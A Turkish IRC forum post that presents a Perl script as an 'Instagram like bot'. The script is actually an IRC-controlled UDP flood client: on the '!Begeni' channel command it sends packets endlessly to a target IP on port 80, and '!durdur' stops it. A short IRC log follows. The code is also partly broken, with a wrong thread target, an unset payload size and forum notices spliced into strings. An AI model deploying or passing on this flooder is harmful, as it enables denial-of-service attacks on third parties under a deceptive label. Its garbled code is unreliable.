Çevrimiçi

arkadaslar fikir benimdi arkadaslda perl dili ile codlama yapiyor 1 hafta oldu insallah 2 hafta sonra link atarim cmd den perl instaBot yazmaniz yeterli olacak api de lazim bilgisayarinizde gerekli olanlar mysql ve windows icin Composer indirmeniz lazim cmd den anlatacam detaylari bot olsunda


--IRCForumlari.NET ; Flood Engellendi -->-> Yeni yazılan mesaj 16:27 -->-> Daha önceki mesaj 16:12 --

# BOT for Instagram Begeni
# This Bot is based on this scripts
# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]


# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]


# Object interface to socket communications
use IO::Socket;
# Perl interpreter-based threads
use threads;
use threads::shared;

# Thread used to run the subroutine
my $thr;
# Flag to stop the subroutine
my $interrupt :shared;

#IRC parameters
my $channel = '#instagram';
my $nick = 'instaBot';
my $user = 'instagram Begeni Bot BY UFUK';

# instagram Begeni subroutine (not a real function per se)

sub begeni
{
print "=> instagram Begeni Started\n";

# Local variables (to the enclosing block)
my ($ip, $port, $target_socket, $proto, $lower_bound, $rand, $size);

# Target host, port and channel
$ip = '192.168.1.1';
$port = 80;

# Converts the IP representation (from textual to packed binary)
$iaddr = inet_aton("$ip");

# Opens a socket
#$proto = getprotobyname("udp");
socket(target_socket, PF_INET, SOCK_DGRAM, 17);
#socket($target_socket, PF_INET, SOCK_DGRAM, $proto); #|| die "socket: $!";

# Begeni
while (1)
{
if ($interrupt) { print "=> Begeni Stopped\n"; return; }
# Sleeping for a fraction of a second keeps the script
# from running to 100 cpu usage.
#select(undef, undef, undef, 0.01);
#$lower_bound = 4;
#$rand = $lower_bound + int(rand(16));
$size = $rand x $rand x $rand;
send(target_socket, 0, $size, sockaddr_in($port, $iaddr));
}
}

# Creates a new client. Timeout is defined in seconds.
my $con = IO::Socket::INET->new(
PeerAddr => 'irc.dalnet.com',
PeerPort => '6667',
Proto => 'tcp',
Timeout => '30'
) or die "Error! $!\n";

# Join the IRC
print $con "USER $user \r\n";
print $con "NICK $nick r\n";
print $con "JOIN $channel\r\n";

# IRC connection loop
while (my $answer = <$con>)
{
# Show server reply
print $answer;

# Answer to ping requests (to keep connection alive)
if ($answer =~ m/^PING (.*?)$/gi)
{
print "Replying with PONG ".$1."\n";
print $con "PONG ".$1."\r\n";
}

# Starts the Begeni
if ($answer =~ /!Begeni/)
{
if ($thr && $thr->is_running())
{
print $con "PRIVMSG $channel :instagram Begeni is running...\r\n";
}
else
{
print $con "PRIVMSG $channel
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
egeni started!\r\n";
$interrupt = 0;
$thr = threads->create('Begeni sytsem start');
$thr->detach();
}
}

# Finishes the begeni
if ($answer =~ /!durdur/)
{
if ($thr && $thr->is_running())
{
print $con "PRIVMSG $channel
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
egeni durduldu!\r\n";
$interrupt = 1;
}
else
{
print $con "PRIVMSG $channel :Nothing to stop.\r\n";
}
}
}

--IRCForumlari.NET ; Flood Engellendi -->-> Yeni yazılan mesaj 16:37 -->-> Daha önceki mesaj 16:27 --

[16:36] <ufuk> !durdur
[16:36] <instaBot> Nothing to stop.